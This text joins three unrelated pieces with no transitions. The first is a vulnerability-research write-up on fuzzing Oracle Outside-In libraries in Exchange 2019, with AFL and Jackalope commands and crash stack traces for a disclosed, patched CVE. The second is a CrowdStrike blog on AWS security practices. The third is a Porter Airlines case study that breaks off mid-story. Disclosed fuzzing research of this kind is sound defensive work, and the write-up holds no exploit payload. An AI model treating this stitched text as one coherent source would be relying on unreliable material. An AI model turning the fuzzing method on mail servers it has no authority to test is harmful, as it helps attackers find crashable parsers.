Microsoft Exchange 2019 prior to March 2024 used the Oracle Outside-In libraries to parse specific file types when attached to emails if an attachment inspection mail flow was configured. By default, Exchange has no mail flow rules configured. Several file types were identified to be processed by the server using the Outside-In SDK. Specifically, the following libraries loaded after using the sample Outside-In files as test attachments.

• vspdf.dll

• vshtml.dll

• vseshr.dll

• vsw97.dll

• vspp12.dll

• vsviso.dll

• vspp97.dll

• vsw12.dll

• vsxl5.dll

These libraries are built to parse files and return any plaintext data they can. They live in a folder labelled TE_vXXX in the Exchange installation directory. However, they are repackaged Oracle Outside-In Content Access libraries. You can readily download the Content Access SDK and demo applications from Oracle directly. Other applications integrate this SDK as well, such as Oracle SQL Server and Oracle WebCenter Content Server.

Previous research into Outside-In by Joshua Drake and Will Dorman a decade ago showed that more digging into the framework could be fruitful. Atredis has identified several files that caused the Exchange file scanner to crash when using the OutsideInModule.dll library to parse attachments.

Exchange itself is configured to prefer Outside-In for some filetypes.

-<TypeList Name="PreferOutsideIn" ListType="Allowed">

    <Type Name="Pdf"/>

    <Type Name="Html"/>

</TypeList>

-<TypeList Name="OutsideInOnly" ListType="Allowed">

    <Type Name="AutoCad"/>

    <Type Name="Jpeg"/>

    <Type Name="Tiff"/>

</TypeList>

However, we were unable to reproduce jpg and tiff vulnerabilities we found in the Outside-In libraries through Exchange. We also noticed that jpg and tiff were removed from the file types supported by file inspection by Exchange mail flows sometime after 2021. These configurations relative to tiff and jpg could be old and useless.

In order to fuzz the libraries, we used two different methods. One method was statically instrumenting the Linux version of the Outside-In Content Access libraries, then fuzzing with AFL. The other option chosen was to dynamically instrument and fuzz with Jackalope on Windows.

AFL

In order to fuzz with AFL, we used afl-dyninst. We used an older version of AFL and dyninst in these examples because it's what we've used in the past and knew it worked. However, a coworker has shown that AFL++ has pretty good dyninst support too. In the future, we'll certainly give it a try. To get things running quickly, we will instrument a simple binary shipped with Outside-In as a demo application called memoryio. It simply accepts a file as an argument and spits out any plaintext contents.

DYNINSTAPI_RT_LIB=libdyninstAPI_RT.so afl-dyninst -m 8 -i ../sdk/demo/memoryio -r libvs_viso.so -r libvs_w12.so -r libvs_eshr.so -r libvs_pp12.so -r libvs_pp97.so -o test

Note the -m 8 in the above command. It was found that instrumenting every basic block caused serious instability. Instead, we are instrumenting any basic blocks 8 bytes or larger. During testing, we also noticed that the library will actively write to ~/.oit while running for no useful reason. Creating the directory, but making it read-only, effectively bypassed this. Otherwise it caused stuttering and hangs.

After copying the instrumented libraries into the correct spots, we can run afl-fuzz. We use AFL_SKIP_BIN_CHECK because we used afl-dyninst to instrument an already-compiled utility called memoryio, rather than compiling our own harness.

AFL_SKIP_BIN_CHECK=1 screen afl-fuzz -i in -o out -m none -M mainA:1/3 -- ./test @@ 
AFL_SKIP_BIN_CHECK=1 screen afl-fuzz -i in -o out -m none -M mainB:2/3 -- ./test @@
AFL_SKIP_BIN_CHECK=1 screen afl-fuzz -i in -o out -m none -M mainC:3/3 -- ./test @@
AFL_SKIP_BIN_CHECK=1 screen afl-fuzz -i in -o out -m none -S subX -- ./test @@

We started 3 main fuzzers in parallel, each running on different deterministic phases. In general, running multiple main fuzzers is a bad idea since they will all perform the same work. However, in the configuration we set up, each fuzzer focuses on different deterministic stages. We then set up 10 sub fuzzers. These fuzzers perform a different kind of strategy than the deterministic main fuzzers. They make random changes to the inputs and just see what happens.

The machine we are fuzzing the Linux libraries on has 32 cores, so we have a bit more leg room. After those fuzzers were set up, a slightly different AFL configuration was used for spice.

AFL_SHUFFLE_QUEUE=1 AFL_SKIP_BIN_CHECK=1 screen afl-fuzz -i in -o out -m none -S subXX -- ./test @@

The AFL_SHUFFLE_QUEUE option was added onto 10 more sub fuzzers. This option takes the queue and randomizes the order of the inputs. In general, you shouldn't need to do this. However, we have so many fuzzers running that it's not going to hurt us in this particular instance and could easily help us.

After that, we get about 100 executions per second per fuzzer across 23 fuzzers. It's not amazing, but it'll do. If we wanted to speed things up in the future, we could implement our own harness with AFL persistent mode.

>>> sub4 (0 days, 20 hrs) <<<
cycle 61, lifetime speed 98 execs/sec, path 825/2389 (34%)

Jackalope

Preparing an environment to fuzz with Jackalope was straight forward. This was done by first cloning the most up to date Jackalope repository and following the build instructions. The fuzzing corpus used for most file formats was acquired from strongcourage's fuzzing-corpus repository. Additional corpus for the `xl5` format was also acquired from the internet with google dorks (Ex:?index.of? xls 1999). The batch file used to execute the fuzzer can be seen below:

C:\Users\ali.ahmad\source\repos\Jackalope\build\Release\fuzzer.exe^
    -in IN\pdf ^
    -out Out\pdf^
    -t 5000^
    -nthreads 9^
    -delivery shmem^
    -nargs 2^
    -instrument_module vspdf.dll^
    -target_module memoryio_sharedmem.exe^
    -target_offset 0x2900^
    -dump_coverage^
    -persist^
    -loop^
    -max_sample_size 0x100000^
    -iterations 3000^
    -cmp_coverage^
    instrument_modules_on_load^
    -dict "C:\Users\ali.ahmad\source\repos\AFLplusplus\dictionaries\pdf.dict"^
    -- "D:\test\TE_v.8.5.3.0\memoryio_sharedmem.exe" @@

Shared memory sample delivery was also used improve fuzzer performance as can be seen by the -delivery shmem flag option. The memoryio sample program provided by Oracle as part of its Outside In library was modified to accept shared memory as input. In addition to shared memory delivery, persistent fuzzing was utilized as can be seen by the -persist flag to fuzz in persistent mode for an added performance boost.

Results

We reported to Microsoft three crashes through our vector on Exchange. However, since the issues were in Oracle’s software, Oracle issued the vulnerability ID CVE-2024-21118.

Exchange will not try to use Outside-In on every file type the library itself supports. These crashes were reproduced by sending an email to the Exchange server with the malicious file attached. As stated previously, a mail flow inspection rule must be configured.

Microsoft subsequently disabled the Outside-In libraries in Exchange in the March 2024 Patch Tuesday updates. You can read more about the patches and advisory here. Atredis would specifically like to thank Lisa Olson and the whole Microsoft Security team for their heroic efforts in working through the disclosure.

Be sure to catch Ali talking more in-depth about our bug hunting and debugging process at RVAsec this summer.

vshtml.dll

This crash was a use-after-free.

 # Child-SP          RetAddr               Call Site
00 000000ea`70d5c610 00007ffc`74141366     vshtml!HTMLWToF+0x11773
01 000000ea`70d5c790 00007ffc`74125204     vshtml!HTMLWToF+0x11726
02 000000ea`70d5c7c0 00007ffc`74130bb0     vshtml+0x5204
03 000000ea`70d5cbe0 00007ffc`74139070     vshtml!HTMLWToF+0xf70
04 000000ea`70d5ce30 00007ffc`74148eb5     vshtml!HTMLWToF+0x9430
05 000000ea`70d5cfe0 00007ffc`399db1c2     vshtml!VwStreamRead+0x305
06 000000ea`70d5d180 00007ffc`399d34fb     sccch!CHUnpackageRemoteData+0x7ab2
07 000000ea`70d5d240 00007ffc`399d3048     sccch!CHReadAhead+0xfb
08 000000ea`70d5d2a0 00007ffc`4b634e20     sccch!CHNextItemId+0x158
09 000000ea`70d5d2f0 00007ffc`3cf589dc     sccca!CAReadNext+0x1fe0
0a 000000ea`70d5d730 00007ffc`3cf5a111     OutsideInModule!CreateTextExtractorModule+0x775c
0b 000000ea`70d5e7d0 00007ffc`3d1a9b4a     OutsideInModule!CreateTextExtractorModule+0x8e91
0c 000000ea`70d5e810 00007ffc`3d1a9630     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x7842a
0d 000000ea`70d5e8d0 00007ffc`3d1ab361     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x77f10
0e 000000ea`70d5e990 00007ffc`3d159d47     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x79c41
0f 000000ea`70d5e9d0 00007ffc`3d15e194     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x28627
10 000000ea`70d5ec20 00007ffc`3d15f2db     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2ca74
11 000000ea`70d5ed60 00007ffc`3d15efc2     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2dbbb
12 000000ea`70d5eec0 00007ffc`3d15e775     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d8a2
13 000000ea`70d5f000 00007ffc`3d13bcbf     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d055
14 000000ea`70d5f1c0 00007ffc`3d13c8c9     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xa59f
15 000000ea`70d5f200 00007ffc`3d133757     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xb1a9
16 000000ea`70d5f3b0 00007ffc`3d133455     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2037
17 000000ea`70d5f4f0 00007ff6`d60a5379     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x1d35
18 000000ea`70d5f5b0 00007ff6`d6092d7f     scanningprocess+0x15379
19 000000ea`70d5f920 00007ffc`936c91ca     scanningprocess+0x2d7f
1a 000000ea`70d5f950 00007ffc`9366bb26     ntdll!TppWorkpExecuteCallback+0x13a
1b 000000ea`70d5f9a0 00007ffc`92c84de0     ntdll!TppWorkerThread+0x686
1c 000000ea`70d5fc90 00007ffc`936dec4b     KERNEL32!BaseThreadInitThunk+0x10
1d 000000ea`70d5fcc0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

vsxl5.dll

This crash was an invalid write.

 # Child-SP          RetAddr               Call Site
00 0000003a`a65bcb00 00007ff9`e845621e     vsxl5!PutPrintArea+0x2ab8
01 0000003a`a65bcb60 00007ff9`e8455798     vsxl5!PutPrintArea+0x20ce
02 0000003a`a65bcc00 00007ff9`e844bd4e     vsxl5!PutPrintArea+0x1648
03 0000003a`a65bcd70 00007ff9`e845c501     vsxl5+0x1bd4e
04 0000003a`a65bced0 00007ff9`c214af8b     vsxl5!VwStreamSection+0x7e1
05 0000003a`a65bcfa0 00007ff9`c21434fb     sccch!CHUnpackageRemoteData+0x787b
06 0000003a`a65bd060 00007ff9`c21420de     sccch!CHReadAhead+0xfb
07 0000003a`a65bd0c0 00007ff9`d25b2cc4     sccch!CHGetItemId+0x5e
08 0000003a`a65bd100 00007ff9`e9148a07     sccca!CAReadFirst+0xd4
09 0000003a`a65bd200 00007ff9`e914a111     OutsideInModule!CreateTextExtractorModule+0x7787
0a 0000003a`a65be2a0 00007ff9`ba939b4a     OutsideInModule!CreateTextExtractorModule+0x8e91
0b 0000003a`a65be2e0 00007ff9`ba939630     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x7842a
0c 0000003a`a65be3a0 00007ff9`ba93b361     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x77f10
0d 0000003a`a65be460 00007ff9`ba8e9d47     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x79c41
0e 0000003a`a65be4a0 00007ff9`ba8ee194     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x28627
0f 0000003a`a65be6f0 00007ff9`ba8ef2db     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2ca74
10 0000003a`a65be830 00007ff9`ba8eefc2     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2dbbb
11 0000003a`a65be990 00007ff9`ba8ee775     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d8a2
12 0000003a`a65bead0 00007ff9`ba8cbcbf     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d055
13 0000003a`a65bec90 00007ff9`ba8cc8c9     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xa59f
14 0000003a`a65becd0 00007ff9`ba8c3757     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xb1a9
15 0000003a`a65bee80 00007ff9`ba8c3455     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2037
16 0000003a`a65befc0 00007ff7`12465379     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x1d35
17 0000003a`a65bf080 00007ff7`12452d7f     scanningprocess+0x15379
18 0000003a`a65bf3f0 00007ffa`0fc091ca     scanningprocess+0x2d7f
19 0000003a`a65bf420 00007ffa`0fbabb26     ntdll!TppWorkpExecuteCallback+0x13a
1a 0000003a`a65bf470 00007ffa`0f5c4de0     ntdll!TppWorkerThread+0x686
1b 0000003a`a65bf760 00007ffa`0fc1ec4b     KERNEL32!BaseThreadInitThunk+0x10
1c 0000003a`a65bf790 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

vsPDF.dll

This crash was an invalid read.

 # Child-SP          RetAddr               Call Site
00 000000b2`54e7c070 00007ffc`21288e30     vspdf+0x9a1a
01 000000b2`54e7c160 00007ffc`2127b467     vspdf+0x18e30
02 000000b2`54e7c2b0 00007ffc`2127e596     vspdf+0xb467
03 000000b2`54e7c2e0 00007ffc`21290c3c     vspdf+0xe596
04 000000b2`54e7c8a0 00007ffb`e4f9b1c2     vspdf!PDFSpecialTell+0x5dc
05 000000b2`54e7cdb0 00007ffb`e4f934fb     sccch!CHUnpackageRemoteData+0x7ab2
06 000000b2`54e7ce70 00007ffb`e4f93048     sccch!CHReadAhead+0xfb
07 000000b2`54e7ced0 00007ffb`f7964e20     sccch!CHNextItemId+0x158
08 000000b2`54e7cf20 00007ffb`eb9689dc     sccca!CAReadNext+0x1fe0
09 000000b2`54e7d360 00007ffb`eb96a111     OutsideInModule!CreateTextExtractorModule+0x775c
0a 000000b2`54e7e400 00007ffb`e9ac9b4a     OutsideInModule!CreateTextExtractorModule+0x8e91
0b 000000b2`54e7e440 00007ffb`e9ac9630     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x7842a
0c 000000b2`54e7e500 00007ffb`e9acb361     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x77f10
0d 000000b2`54e7e5c0 00007ffb`e9a79d47     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x79c41
0e 000000b2`54e7e600 00007ffb`e9a7e194     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x28627
0f 000000b2`54e7e850 00007ffb`e9a7f2db     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2ca74
10 000000b2`54e7e990 00007ffb`e9a7efc2     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2dbbb
11 000000b2`54e7eaf0 00007ffb`e9a7e775     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d8a2
12 000000b2`54e7ec30 00007ffb`e9a5bcbf     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2d055
13 000000b2`54e7edf0 00007ffb`e9a5c8c9     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xa59f
14 000000b2`54e7ee30 00007ffb`e9a53757     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0xb1a9
15 000000b2`54e7efe0 00007ffb`e9a53455     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x2037
16 000000b2`54e7f120 00007ff6`9fbd5379     Pipeline2!ScanningPipeline::DllCreatePipelineSessionProcessorAdapter+0x1d35
17 000000b2`54e7f1e0 00007ff6`9fbc2d7f     scanningprocess+0x15379
18 000000b2`54e7f550 00007ffc`41a091ca     scanningprocess+0x2d7f
19 000000b2`54e7f580 00007ffc`419abb26     ntdll!TppWorkpExecuteCallback+0x13a
1a 000000b2`54e7f5d0 00007ffc`412b4de0     ntdll!TppWorkerThread+0x686
1b 000000b2`54e7f8c0 00007ffc`41a1ec4b     KERNEL32!BaseThreadInitThunk+0x10
1c 000000b2`54e7f8f0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

Organizations are increasingly turning to cloud computing for IT agility, resilience and scalability. Amazon Web Services (AWS) stands at the forefront of this digital transformation, offering a robust, flexible and cost-effective platform that helps businesses drive growth and innovation. 

However, as organizations migrate to the cloud, they face a complex and growing threat landscape of sophisticated and cloud-conscious threat actors. Organizations with ambitious digital transformation strategies must be prepared to address these security challenges from Day One. The potential threat of compromise underscores the critical need to understand and implement security best practices tailored to the unique challenges of cloud environments. 

Central to understanding and navigating these challenges is the AWS shared responsibility model. AWS is responsible for delivering security of the cloud, including the security of underlying infrastructure and services. Customers are responsible for protecting their data, applications and resources running in the cloud. This model highlights the importance of proactive security measures at every phase of cloud migration and operation and helps ensure businesses maintain a strong security posture.

In this blog, we cover five best practices for securing AWS resources to help you gain a better understanding of how to protect your cloud environments as you build in the cloud. 

Best Practice #1: Know All of Your Assets

Cloud assets are not limited to compute instances (aka virtual machines) — they extend to all application workloads spanning compute, storage, networking and an extensive portfolio of managed services. 

Understanding and maintaining an accurate inventory of your AWS assets is foundational to securing your cloud environment. Given the dynamic nature of cloud computing, it’s not uncommon for organizations to inadvertently lose track of assets running in their AWS accounts, which can lead to risk exposure and attacks on unprotected resources. In some cases, accounts created early in an organization’s cloud journey may not have the standard security controls that were implemented later on. In another common scenario, teams may forget about and unintentionally remove mitigations put in place to address application-specific exceptions, exposing those resources to potential attack.

To maintain adequate insight and awareness of all AWS assets in production, organizations should consider implementing the following:

• Conduct asset inventories: Use tools and processes that provide continuous visibility into all cloud assets. This can help maintain an inventory of public and private cloud resources and ensure all assets are accounted for and monitored. AWS Resource Explorer and Cost Explorer can help discover new resources as they’re provisioned.
• Implement asset tagging and management policies: Establish and enforce policies for tagging cloud resources. This practice aids in organizing assets based on criticality, sensitivity and ownership, making it easier to manage and prioritize security efforts across the cloud environment. In combination with the AWS Identity and Access Management (IAM) service, tagging can also be used to dynamically grant access to resources via attribute-based access control (ABAC). 
• Integrate security tools for holistic visibility: Combine the capabilities of cloud security posture management (CSPM) with other security tools like endpoint detection and response (EDR) solutions. Integration of these tools can provide a more comprehensive view of the security landscape, enabling quicker identification of misconfigurations, vulnerabilities and threats across all AWS assets. AWS services including Trusted Advisor, Security Hub, GuardDuty, Config and Inspector provide actionable insights to help security and operations teams improve their security posture.

CrowdStrike Falcon® Cloud Security makes it easy to implement these practices by offering a consolidated platform that integrates with AWS features to maintain coverage across a customer’s entire multi-account environment. Falcon Cloud Security offers CSPM, which leverages AWS EventBridge, IAM cross-account roles and CloudTrail API audit telemetry to provide continuous asset discovery, scan for misconfigurations and suspicious behavior, improve least-privilege controls and deploy runtime protection on EC2 and EKS clusters as they’re provisioned. It guides customers on how to secure their cloud environments to accelerate the learning of cloud security skills and the time-to-value for cloud initiatives. Cloud Operations teams can deploy AWS Security Hub with the CrowdStrike Falcon® Integration Gateway to view Falcon platform detections and trigger custom remediations inside AWS. AWS GuardDuty leverages CrowdStrike Falcon® Adversary Intelligence indicators of compromise and can provide an additional layer of visibility and protection for cloud teams.

Best Practice #2: Enforce Multifactor Authentication (MFA) and Use Role-based Access Control in AWS

Stolen credentials pose a severe threat — whether they are user names and passwords or API key IDs and secrets — allowing adversaries to impersonate legitimate users and bypass identity-based access controls. This risk is exacerbated by scenarios where administrator credentials and hard-coded passwords are inadvertently stored in public-facing locations or within code repositories accessible online. Such exposures give attackers the opportunity to intercept live access keys, which they can use to authenticate to cloud services, posing as trusted users. 

In cloud environments, as well as on-premises, organizations should adopt identity security best practices such as avoiding use of shared credentials, assigning least-privilege access policies and using a single source of truth through identity provider federation and single sign-on (SSO). AWS services such as IAM, Identity Center and Organizations can facilitate secure access to AWS services by supporting the creation of granular access policies, enabling temporary session tokens, and reporting on cross-account trusts and excessively permissive policies, thus minimizing the likelihood and impact of access key exposure. By implementing MFA in conjunction with SSO, role-based access and temporary sessions, organizations make it much harder for attackers to steal credentials and, more importantly, to effectively use them.

Falcon Cloud Security includes cloud infrastructure entitlement management (CIEM), which evaluates whether IAM roles are overly permissive and provides the visibility to make changes with awareness of which resources will be impacted. Additionally, Falcon Cloud Security conducts pre-runtime scanning of container images and infrastructure-as-code (IaC) templates to uncover improperly elevated Kubernetes pod privileges and hard-coded credentials to prevent credential theft and lateral movement. Adding the CrowdStrike Falcon® Identity Protection module delivers strong protection for Active Directory environments, dynamically identifying administrator and service accounts and anomalous or malicious use of credentials, and allowing integration with workload detection and response actions. 

Best Practice #3: Automatically Scan AWS Resources for Excessive Public Exposure

The inadvertent public exposure and misconfiguration of cloud resources such as EC2 instances, Relational Database Service (RDS) and containers on ECS and EKS through overly permissive network access policies pose a risk to the security of cloud workloads. Such lapses can accidentally open the door to unauthorized access to vulnerable services, providing attackers with opportunities to exploit weaknesses for data theft, launching further attacks and moving laterally within the cloud environment.

To mitigate these risks and enhance cloud security posture, organizations should:

• Implement automated security audits: Utilize tools like AWS Trusted Advisor, AWS Config and AWS IAM Access Analyzer to continuously audit the configurations of AWS resources and identify and remediate excessive public exposure or misconfigurations.
• Secure AWS resources with proper security groups: Configure security groups for logical groups of AWS resources to restrict inbound and outbound traffic to only necessary and known IPs and ports. Whenever possible, use network access control lists (NACLs) to restrict inbound and outbound access across entire VPC subnets to prevent data exfiltration and block communication with potentially malicious external entities. Services like AWS Firewall Manager provide a single pane of glass for configuring network access for all resources in an AWS account using VPC Security Groups, Web Application Firewall (WAF) and Network Firewall.
• Collaborate across teams: Security teams should work closely with IT and DevOps to understand the necessary external services and configure permissions accordingly, balancing operational needs with security requirements.

Falcon Cloud Security continuously monitors AWS service configurations for best practices, both in live environments and in pre-runtime IaC templates as part of a CI/CD or GitOps pipeline. Overly permissive network security policies are dynamically discovered and recorded as indicators of misconfiguration (IOMs), which are automatically correlated with all other security telemetry in the environment, along with insight into how the misconfiguration can be mitigated by the customer or maliciously used by the adversary.

Best Practice #4: Prioritize Alerts Based on Risk

Adversaries are becoming more skilled in attacking cloud environments, as evidenced by a 75% increase in cloud intrusions year-over-year in 2023. They are also growing faster: The average breakout time for eCrime operators to move laterally from one breached host to another host was just 62 minutes in 2023. The rise of new technologies, such as generative AI, has the potential to lower the barrier to entry for less-skilled adversaries, making it easier to launch sophisticated attacks. Amid these evolving trends, effective alert management is paramount.  

Cloud services are built to deliver a constant stream of API audit and service access logs, but sifting through all of this data can overwhelm security analysts and detract from their ability to focus on genuine threats. While some logs may indicate high-severity attacks that demand immediate response, most tend to be informational and often lack direct security implications. Generating alerts based on this data can be imprecise, potentially resulting in many false positives, each of which require SecOps investigation. Alert investigations can consume precious time and scarce resources, leading to a situation where noisy security alerts prevent timely detection and effective response.

To navigate this complex landscape and enhance the effectiveness of cloud security operations, several best practices can be adopted to manage and prioritize alerts efficiently:

• Prioritize alerts strategically: Develop a systematic approach to capture and prioritize high-fidelity alerts. Implementing a triage process based on the severity of events helps focus resources on the most critical investigations.
• Create context around alerts: Enhance alert quality by enriching them with correlated data and context. This additional information increases confidence in the criticality of alerts, enabling more informed decision-making regarding their investigation.
• Integrate and correlate telemetry sources: Improve confidence in prioritizing or deprioritizing alerts by incorporating details from other relevant data sources or security tools. This combination allows for a more comprehensive understanding of the security landscape, aiding in the accurate identification of genuine threats.
• Outsource to a competent third party: For organizations overwhelmed by the volume of alerts, partnering with a managed detection and response (MDR) provider can be a viable solution. These partners can absorb the event burden, alleviating the bottleneck and allowing in-house teams to focus on strategic security initiatives.

AWS Services like AWS GuardDuty, which is powered in part by CrowdStrike Falcon Adversary Intelligence indicators of compromise (IOCs), help surface and alert on suspicious and malicious activity within AWS accounts, prioritizing indicators of attack (IOAs) and IOCs based on risk severity. 

Falcon Cloud Security is a complete cloud security platform that unifies world-class threat intelligence and elite threat hunters. Falcon Cloud Security correlates telemetry and detections across IOMs, package vulnerabilities, suspicious behavior, adversary intelligence and third-party telemetry ingested through a library of data connectors to deliver a context-based risk assessment, which reduces false positives and automatically responds to stop breaches. 

Best Practice #5: Enable Comprehensive Logging

Adversaries that gain access to a compromised account can operate virtually undetected, limited only by the permissions granted to the account they used to break in. This stealthiness is compounded by the potential for log tampering and manipulation, where malicious actors may alter or delete log files to erase evidence of their activities. Such actions make it challenging to trace the adversary’s movements, evaluate the extent of data tampering or theft, and understand the full scope of the security incident. The lack of a comprehensive audit trail due to disabled or misconfigured logging mechanisms hinders the ability to maintain visibility over cloud operations, making it more difficult to detect and respond to threats.

In response, organizations can:

• Enable comprehensive logging across the environment: Ensure AWS CloudTrail logs, S3 server access logs, Elastic Load Balancer (ELB) access logs, CloudFront logs and VPC flow logs are activated to maintain a detailed record of all activities and transactions.
• Ingest and alert on logs in your SIEM: Integrate and analyze logs within your security information and event management (SIEM) system to enable real-time alerts on suspicious activities. Retain logs even if immediate analysis capabilities are lacking, as they may provide valuable insights in future investigations. 
• Ensure accuracy of logged data: For services behind proxies, like ELBs, ensure the logging captures original IP addresses from the X-Forwarded-For field to preserve crucial information for analysis.
• Detect and prevent log tampering: Monitor for API calls that attempt to disable logging and for unexpected changes in cloud services or account settings that could undermine logging integrity, in line with recommendations from the MITRE ATT&CK® framework. In addition, features such as MFA-Delete provide additional protection by requiring two-factor authentication to allow deletion of S3 buckets and critical data.

CrowdStrike Falcon Cloud Security for AWS

Falcon Cloud Security integrates with over 50 AWS services to deliver effective protection at every stage of the cloud journey, combining multi-account deployment automation, sensor-based runtime protection, agentless API attack and misconfiguration detection, and pre-runtime scanning of containers, Lambda functions and IaC templates. 

CrowdStrike leverages real-time IOAs, threat intelligence, evolving adversary tradecraft and enriched telemetry from across vectors such as endpoint, cloud, identity and more. This not only enhances threat detection, it also facilitates automated protection, remediation and elite threat hunting, aligned closely with understanding AWS assets, enforcing strict access control and authentication measures, and ensuring meticulous monitoring and management of cloud resources.

You can try Falcon Cloud Security through a Cloud Security Health Check, during which you’ll engage in a one-on-one session with a cloud security expert, evaluate your current cloud environment, and identify misconfigurations, vulnerabilities and potential cloud threats.

Protecting AWS Resources with Falcon Next-Gen SIEM

CrowdStrike Falcon® Next-Gen SIEM unifies data, AI, automation and intelligence in one AI-native platform to stop breaches. Falcon Next-Gen SIEM extends CrowdStrike’s industry-leading detection and response and expert services to all data, including AWS logs, for complete visibility and protection. Your team can detect and respond to cloud-based threats in record time with real-time alerts, live dashboards and blazing-fast search. Native workflow automation lets you streamline analysis of cloud incidents and say goodbye to tedious tasks. 

For the first time ever, your analysts can investigate cloud-based threats from the same console they use to manage cloud workload security and CSPM. CrowdStrike consolidates multiple security tools, including next-gen SIEM and cloud security, on one platform to cut complexity and costs. Watch a 3-minute demo of Falcon Next-Gen SIEM to see it in action.

Additional Resources 

• Read about common cloud misconfigurations in this CrowdStrike white paper: Seven Easily Exploited Cloud Misconfigurations
• Download the CrowdStrike eBook, 8 Things Your Next SIEM Must Do, to understand the critical capabilities to look for when evaluating SIEM solutions.
• See why Forrester named CrowdStrike a Leader in The Forrester Wave: Cloud Workload Security, Q1 2024. 
• See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats. Start your 15-day free trial today.

• As Porter Airlines scaled its business, it needed a unified cybersecurity platform to eliminate the challenges of juggling multiple cloud, identity and endpoint security products.
• Porter consolidated its cybersecurity strategy with the single-agent, single-console architecture of the AI-native CrowdStrike Falcon® XDR platform.
• With the Falcon platform, the airline has reduced cost and complexity while driving better security outcomes across its business and partner network. 

All passengers on Porter Airlines travel in style with complimentary beer and wine, free premium snacks, free WiFi, free inflight entertainment, no middle seats — the list goes on. 

With these perks, it’s no wonder Porter is growing fast. Headquartered in Toronto, Porter revolutionized short-haul flying in 2006. Since then, the airline has stretched its wings, amassing 58 aircraft, 3,200 employees and 33 destinations across North America. 

Early success has only fueled the company’s ambitions. Porter plans to double its workforce by 2026 and blanket all major U.S. cities and beyond. While this growth brings exciting business opportunities, it also creates new cybersecurity challenges, as the company piles on more data, devices and attack surfaces to protect. 

“When we started, we weren’t really a target for attackers, but we’re seeing more activity today,” said Jason Deluce, Director of Information Technology at Porter Airlines. 

To secure its growing business, Porter relies on the AI-native CrowdStrike Falcon platform and CrowdStrike Falcon® Complete for 24/7 managed detection and response (MDR). This is the story of how CrowdStrike delivers the flexible and scalable cybersecurity that Porter needs to secure its business today and into the open skies ahead.  

New Security Requirements

The move to CrowdStrike was born out of necessity. Porter’s previous security stack centered on a noisy endpoint detection and response (EDR) solution. Alerts overwhelmed Deluce’s lean security team, and the vendor wasn’t much help. Then, after three years without contact, the sales rep dropped a high renewal bill. 

Porter used a separate cybersecurity platform for vulnerability management and log management. But according to Deluce, “it was all manual. It detects vulnerabilities, but it doesn’t do anything about them. That wasn’t enough for us.” 

Furthermore, none of the solutions were integrated, leaving Deluce and his team with multiple agents and multiple consoles to operate. “They kind of talk about the same thing, but there’s nothing to marry them together in one place. You have to go to separate places, try to make sense of the data and determine if it’s accurate or not.”

With the business taking off and cyber threats surging, Porter needed a modern cybersecurity platform to reduce the noise and stop breaches. With its single-agent, cloud-native architecture, the Falcon platform gave Porter exactly what it needed: one agent and one console for complete visibility and protection across the company’s expanding security estate.

And whereas the previous cybersecurity vendors left Deluce with more questions than answers, Falcon Complete MDR acts as a force multiplier for Porter’s security team, providing around-the-clock expert management, monitoring, proactive threat hunting and end-to-end remediation, delivered by CrowdStrike’s team of dedicated security experts. 

Stopping Breaches in the Cloud with the Falcon Platform

A few years back, Porter made the strategic move to use Amazon Web Services (AWS) for hosting its business applications and corporate data. While this cloud strategy delivers the scalability and flexibility Porter needs to grow, it also introduces new security risks.

With the lightweight Falcon agent already deployed, Deluce was able to easily add CrowdStrike Falcon® Cloud Security to its arsenal of protections. And because CrowdStrike and Amazon are strategic partners with many product integrations, deployment was a breeze. 

“The one-click deployment is pretty amazing,” said Deluce. “We were able to deploy Falcon Cloud Security to a bunch of servers very quickly.”

Falcon Cloud Security is the industry’s only unified agent and agentless platform for code-to-cloud protection, integrating pre-runtime and runtime protection, and agentless technology in a single platform. Being able to collect and see all of that information in a single console provided immediate value, according to Deluce. 

